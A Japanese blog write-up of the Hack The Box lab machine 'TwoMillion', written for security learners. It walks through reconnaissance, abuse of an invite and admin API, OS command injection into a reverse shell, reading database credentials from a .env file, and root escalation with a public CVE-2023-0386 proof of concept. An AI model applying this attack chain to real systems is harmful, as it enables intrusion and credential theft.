初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「TwoMillion」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Discovery

ポートスキャン

今回はRustScanで高速スキャンしてみた。

┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.221 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.221:22
Open 10.10.11.221:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 01:56 EDT
Initiating Ping Scan at 01:56
Scanning 10.10.11.221 [4 ports]
Completed Ping Scan at 01:56, 0.23s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:56
Completed Parallel DNS resolution of 1 host. at 01:56, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:56
Scanning 10.10.11.221 [2 ports]
Discovered open port 80/tcp on 10.10.11.221
Discovered open port 22/tcp on 10.10.11.221
Completed SYN Stealth Scan at 01:56, 0.22s elapsed (2 total ports)
Nmap scan report for 10.10.11.221
Host is up, received reset ttl 63 (0.19s latency).
Scanned at 2023-06-08 01:56:28 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「2million.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

Collection - 1

ドメイン環境設定

今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
/etc/hostsをいじっていく。

┌──(root💀kali)-[~/work]
└─# vim /etc/hosts

以下を投入。

10.10.11.221    2million.htb

疎通確認を行う。

┌──(root㉿kali)-[~]
└─# ping 2million.htb
PING 2million.htb (10.10.11.221) 56(84) bytes of data.
64 bytes from 2million.htb (10.10.11.221): icmp_seq=1 ttl=63 time=188 ms
64 bytes from 2million.htb (10.10.11.221): icmp_seq=2 ttl=63 time=185 ms
64 bytes from 2million.htb (10.10.11.221): icmp_seq=3 ttl=63 time=185 ms
^C
--- 2million.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 184.595/185.965/187.920/1.418 ms

サイト探索

Subdomain探索

以下サイトからサブドメインのリストをダウンロード

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt

ffufで探索。

┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://2million.htb/ -H "HOST: FUZZ.2million.htb" -fs 162 -mc all -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://2million.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.2million.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response size: 162
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 772 req/sec :: Duration: [0:02:14] :: Errors: 0 ::

特段何もない。

ディレクトリ探索

dirsearchを使用して探索を実施。

┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://2million.htb/ 

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                            
 (_||| _) (/_(_|| (_| )                                                                                                                                     
                                                                                                                                                            
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/2million.htb/-_23-06-08_02-10-55.txt

Error Log: /root/.dirsearch/logs/errors-23-06-08_02-10-55.log

Target: http://2million.htb/

[02:10:56] Starting: 
[02:10:58] 301 -  162B  - /js  ->  http://2million.htb/js/                 
[02:11:11] 200 -    2KB - /404                                              
[02:11:37] 401 -    0B  - /api                                              
[02:11:37] 401 -    0B  - /api/v1                                           
[02:11:38] 301 -  162B  - /assets  ->  http://2million.htb/assets/          
[02:11:38] 403 -  548B  - /assets/
[02:11:47] 403 -  548B  - /controllers/                                     
[02:11:48] 301 -  162B  - /css  ->  http://2million.htb/css/                
[02:11:56] 301 -  162B  - /fonts  ->  http://2million.htb/fonts/            
[02:11:59] 302 -    0B  - /home  ->  /                                      
[02:12:00] 301 -  162B  - /images  ->  http://2million.htb/images/          
[02:12:00] 403 -  548B  - /images/
[02:12:03] 403 -  548B  - /js/                                              
[02:12:06] 200 -    4KB - /login                                            
[02:12:07] 302 -    0B  - /logout  ->  /                                    
[02:12:21] 200 -    4KB - /register                                         
[02:12:36] 301 -  162B  - /views  ->  http://2million.htb/views/

ffufでも確認しておく。

┌──(root㉿kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://2million.htb/FUZZ -t 150 -fs 162

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://2million.htb/FUZZ
 :: Wordlist         : FUZZ: /root/work/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 162
________________________________________________

[Status: 200, Size: 3704, Words: 1365, Lines: 81, Duration: 229ms]
    * FUZZ: login

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 258ms]
    * FUZZ: home

[Status: 200, Size: 4527, Words: 1512, Lines: 95, Duration: 285ms]
    * FUZZ: register

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 197ms]
    * FUZZ: #

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 206ms]
    * FUZZ: # directory-list-2.3-small.txt

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 214ms]
    * FUZZ: # or send a letter to Creative Commons, 171 Second Street,

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 258ms]
    * FUZZ: #

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 268ms]
    * FUZZ: # on at least 3 different hosts

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 268ms]
    * FUZZ: # Priority-ordered case-sensitive list, where entries were found

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 260ms]
    * FUZZ: # Suite 300, San Francisco, California, 94105, USA.

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 273ms]
    * FUZZ: # license, visit http://creativecommons.org/licenses/by-sa/3.0/

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 270ms]
    * FUZZ: #

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 268ms]
    * FUZZ: 

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 199ms]
    * FUZZ: # Copyright 2007 James Fisher

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 196ms]
    * FUZZ: #

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 200ms]
    * FUZZ: # Attribution-Share Alike 3.0 License. To view a copy of this

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 202ms]
    * FUZZ: # This work is licensed under the Creative Commons

[Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 203ms]
    * FUZZ: api

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 206ms]
    * FUZZ: logout

[Status: 200, Size: 1674, Words: 118, Lines: 46, Duration: 227ms]
    * FUZZ: 404

[Status: 200, Size: 1674, Words: 118, Lines: 46, Duration: 347ms]
    * FUZZ: 0404

[Status: 200, Size: 3859, Words: 1363, Lines: 97, Duration: 395ms]
    * FUZZ: invite

[Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 445ms]
    * FUZZ: 

:: Progress: [87664/87664] :: Job [1/1] :: 339 req/sec :: Duration: [0:04:20] :: Errors: 0 ::

invite階層にアクセスしてみる。

ほう。ここにPostできるみたいなので、ペイロードを叩き込んでみる。

Initial Access - 1

sqlmap

DBにinviteコードを確認してそうな動作ぽいのでsqlmapを試してみる。
以下のリクエストを作成しておく。

req

POST /api/v1/invite/verify HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 14
Origin: http://2million.htb
Connection: close
Referer: http://2million.htb/invite
Cookie: PHPSESSID=0t5v42tcp6fbo88jss9a5pu1ru

code=1

よし！sqlmapを実行します。

┌──(root㉿kali)-[~/work]
└─# sqlmap -r req --dump --batch --level 5 --risk 3
        ___
       __H__                                                                                                                                                
 ___ ___[,]_____ ___ ___  {1.7.2#stable}                                                                                                                    
|_ -| . [']     | .'| . |                                                                                                                                   
|___|_  [,]_|_|_|__,|  _|                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:37:57 /2023-06-08/

[02:37:57] [INFO] parsing HTTP request from 'req'
[02:37:57] [INFO] testing connection to the target URL
[02:37:57] [INFO] testing if the target URL content is stable
[02:37:58] [INFO] target URL content is stable
[02:37:58] [INFO] testing if POST parameter 'code' is dynamic
[02:37:58] [WARNING] POST parameter 'code' does not appear to be dynamic
[02:37:58] [WARNING] heuristic (basic) test shows that POST parameter 'code' might not be injectable
[02:37:58] [INFO] testing for SQL injection on POST parameter 'code'
[02:37:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:38:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[02:38:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[02:38:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[02:38:57] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[02:39:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[02:39:14] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
[02:39:18] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
[02:39:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[02:39:26] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[02:39:36] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[02:39:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'
[02:39:48] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'
[02:39:58] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[02:40:09] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'

...省略

何もいいものが出てこない。
別のルートで試す必要がありそうだ。

Collection - 2

invite

サイト内を探っていると気になるJSファイルを発見する。inviteapi.min.jsだ。

難読化されていたので、読みやすいように以下のサイトで加工する。

記載されているPathへアクセスしてみる。

dataがROT13で暗号化されているみたいなのでデコードを以下サイトで実施する。

ほう、/api/v1/invite/generateにPOSTすればコードが手に入るみたいなので投げてみる。

かえって来た！コードがBase64でエンコードされてそうなのでデコードする。

/invite階層に上記コードを打ち込んでみる。

/registerに飛べたのでUserを作成できそうだ。testユーザーを作成してみて、ログインしてみる。

できた。
パット見何も見つからないので、再度調査が必要そう。

api

色々と探っていると、以下の階層でapiのエンドポイントリストが見つかった。

/api/v1/user/authにアクセスしてみる。

あーこのis_adminフラグでadminのエンドポイントにアクセスできるってわけですね。

admin

新たなUserを作る際にこのフラグを立てて投げてみる。

ログイン成功！is_adminフラグが入ってるか確認してみる。

ダメだった。なら/api/v1/admin/settings/updateのエンドポイントかなぁ
PUTを投げてみる。

content-typeが違うといわれるのでJSONで飛ばしてみる。

上手くレスポンスがかえってきた。is_adminフラグが立ってるみたいだ。

Initial Access - 2

admin - vpn

/api/v1/admin/vpn/generateのエンドポイントへアクセスしてみる、どうせPOSTなのでここに脆弱性があるんだろ！

content-typeが違うって言われるのでJSON形式でとばしてみる。

usernameがないといわれるので付け加える。

ここに何かペイロードを叩き込めるか試してみる。

Reverse shell

tcmdumpでpingが帰ってくるか確認してみる。

かえってきました。OS cmd Injectionが出来そう。
御用達の以下サイトを参考にReverseShellのコマンドを作成

リバースシェル確立のために受け側を用意しておく。

┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444           
listening on [any] 4444 ...

リバースシェルを実行！！

シェルゲットだぜ！！！

Persistence

何か情報がないか確認する。

www-data@2million:~/html$ ls -lta
ls -lta
total 56
drwxr-xr-x  5 root root 4096 Jun  8 12:20 VPN
drwxr-xr-x 10 root root 4096 Jun  8 12:20 .
drwxr-xr-x  2 root root 4096 Jun  6 10:22 views
drwxr-xr-x  2 root root 4096 Jun  6 10:22 controllers
drwxr-xr-x  3 root root 4096 Jun  6 10:22 js
drwxr-xr-x  3 root root 4096 Jun  6 10:22 ..
drwxr-xr-x  2 root root 4096 Jun  6 10:22 fonts
drwxr-xr-x  2 root root 4096 Jun  6 10:22 images
drwxr-xr-x  5 root root 4096 Jun  6 10:22 css
drwxr-xr-x  2 root root 4096 Jun  6 10:22 assets
-rw-r--r--  1 root root 2692 Jun  2 18:57 index.php
-rw-r--r--  1 root root   87 Jun  2 18:56 .env
-rw-r--r--  1 root root 2787 Jun  2 16:15 Router.php
-rw-r--r--  1 root root 1237 Jun  2 16:15 Database.php
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
www-data@2million:~/html$

パスワードを見つけたので此奴でSSHできるか試してみる。どのユーザが存在するかは/etc/passwdをみて確認しておく。

www-data@2million:~/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
admin:x:1000:1000::/home/admin:/bin/bash
memcache:x:115:121:Memcached,,,:/nonexistent:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false

レッツSSH！！

上手くいきました。

Privilege Escalation

調査

sudo -l

とりあえずsudo -lで特権で使えそうなファイルやコマンドを探してみる。

admin@2million:~$ sudo -l
[sudo] password for admin: 
Sorry, user admin may not run sudo on localhost.

なにもない。。。

linpeas

ということでlinpeas使います。Linemunよりこっち派。
以下のサイトからlinpeas.shをダウンロードしてくる。

┌──(root㉿kali)-[~/work]
└─# wget https://github.com/carlospolop/PEASS-ng/releases/download/20230312/linpeas.sh

実行。

admin@2million:/tmp$ chmod +x linpeas.sh 
admin@2million:/tmp$ ./linpeas.sh 


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |
    |---------------------------------------------------------------------------------| 
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |
    |         Follow on Twitter         :     @hacktricks_live                          |
    |         Respect on HTB            :     SirBroccoli                             |
    |---------------------------------------------------------------------------------|
    |                                 Thank you!                                      |
    \---------------------------------------------------------------------------------/
          linpeas-ng by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.'

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                                                                    
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

...省略
╔══════════╣ Files inside others home (limit 20)
/var/www/html/assets/particlesinline.json                                                                                                                   
/var/www/html/assets/particles.json
/var/www/html/css/pe-icons/Pe-icon-7-stroke.svg
/var/www/html/css/pe-icons/Pe-icon-7-stroke.ttf
/var/www/html/css/pe-icons/Pe-icon-7-stroke.woff
/var/www/html/css/pe-icons/pe-icon-7-stroke.css
/var/www/html/css/pe-icons/Pe-icon-7-stroke.eot
/var/www/html/css/pe-icons/helper.css
/var/www/html/css/style.css
/var/www/html/css/flags/flags.png
/var/www/html/css/flags/flags.min.css
/var/www/html/css/frontpage.css
/var/www/html/css/htb-frontpage.css
/var/www/html/css/animate.css
/var/www/html/css/htb-frontend.css
/var/www/html/css/stroke-icons/style.css
/var/www/html/css/stroke-icons/stroke.woff
/var/www/html/css/stroke-icons/stroke.eot
/var/www/html/css/stroke-icons/stroke.svg
/var/www/html/css/stroke-icons/stroke.ttf

╔══════════╣ Searching installed mail applications
                                                                                                                                                            
╔══════════╣ Mails (limit 50)
      271      4 -rw-r--r--   1 admin    admin         540 Jun  2 23:20 /var/mail/admin                                                                     
      271      4 -rw-r--r--   1 admin    admin         540 Jun  2 23:20 /var/spool/mail/admin

...省略

お、何かmailがある！確認してみる。

admin@2million:/tmp$ cat /var/mail/admin 
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

OverlayFS / FUSE？？？

CVE-2023-0386

OverlayFS / FUSEで検索してみると以下のサイトを発見する。

ファイルシステムの脆弱性みたいだ。
この脆弱性のPoCは以下のGituhubで確認できる。

というわけでこのPoCを使ってExploit実行してみる。

admin@2million:/tmp/taks/CVE-2023-0386$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘read_buf_callback’:
fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=]
  106 |     printf("offset %d\n", off);
      |                    ~^     ~~~
      |                     |     |
      |                     int   off_t {aka long int}
      |                    %ld
fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
  107 |     printf("size %d\n", size);
      |                  ~^     ~~~~
      |                   |     |
      |                   int   size_t {aka long unsigned int}
      |                  %ld
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
  214 |     while (read(fd, content + clen, 1) > 0)
      |            ^~~~
      |            fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
  216 |     close(fd);
      |     ^~~~~
      |     pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
  221 |     rmdir(mount_path);
      |     ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
admin@2million:/tmp/taks/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
mkdir: File exists



[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601

ファイルシステムマウント後は別のターミナルでコマンドを実行する。

admin@2million:/tmp/taks/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jun  8 13:25 .
drwxr-xr-x 6 root   root     4096 Jun  8 13:24 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

上手く特権昇格できました！！

まとめ

久しぶりにEasyらしいBoxをやったと思います。apiハッキングにはいい教材なのではないでしょうか？？

今回もセキュリティエンジニアの皆さんの助けになればなと思います。